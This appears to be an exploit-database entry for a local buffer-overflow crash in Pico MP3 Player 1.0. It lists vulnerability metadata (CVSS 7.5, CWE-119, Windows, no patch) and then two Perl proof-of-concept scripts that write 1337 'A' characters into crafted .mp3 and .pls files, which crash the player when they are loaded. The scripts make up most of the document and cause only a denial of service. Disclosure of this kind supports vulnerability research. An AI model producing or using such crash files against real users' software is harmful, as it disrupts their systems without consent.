Pico MP3 Player 1.0 Local Crash PoC

vendor:

MP3 Player

by:

cr4wl3r

7,5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: MP3 Player

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2020

Pico MP3 Player 1.0 Local Crash PoC

Pico MP3 Player 1.0 is vulnerable to a buffer overflow vulnerability when a specially crafted .mp3 or .pls file is loaded. The application crashes when the file is loaded due to the overflow of the buffer.

Mitigation:

No known mitigation is available.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#########################################################
## Usage-->>file created-->>load file-->>b00m.mp3 >>>BOOM
#########################################################


print "#####################################################\n";
print "[!] Pico MP3 Player 1.0 (.mp3) Local Crash PoC\n";
print "\n";
print "[!] Author: cr4wl3r\n";
print "[!] Mail: cr4wl3r[!]linuxmail.org\n";
print "#####################################################\n";


my $boom = "A" x 1337;
my $filename = "b00m.mp3";
open (FILE,">$filename");
print FILE "$boom";
print "\nFile successfully created!\n";



#!/usr/bin/perl
#########################################################
## Usage-->>file created-->>load file-->>b00m.pls >>>BOOM
#########################################################


print "#####################################################\n";
print "[!] Pico MP3 Player 1.0 (.pls) Local Crash PoC\n";
print "\n";
print "[!] Author: cr4wl3r\n";
print "[!] Mail: cr4wl3r[!]linuxmail.org\n";
print "#####################################################\n";


my $boom = "A" x 1337;
my $filename = "b00m.pls";
open (FILE,">$filename");
print FILE "$boom";
print "\nFile successfully created!\n";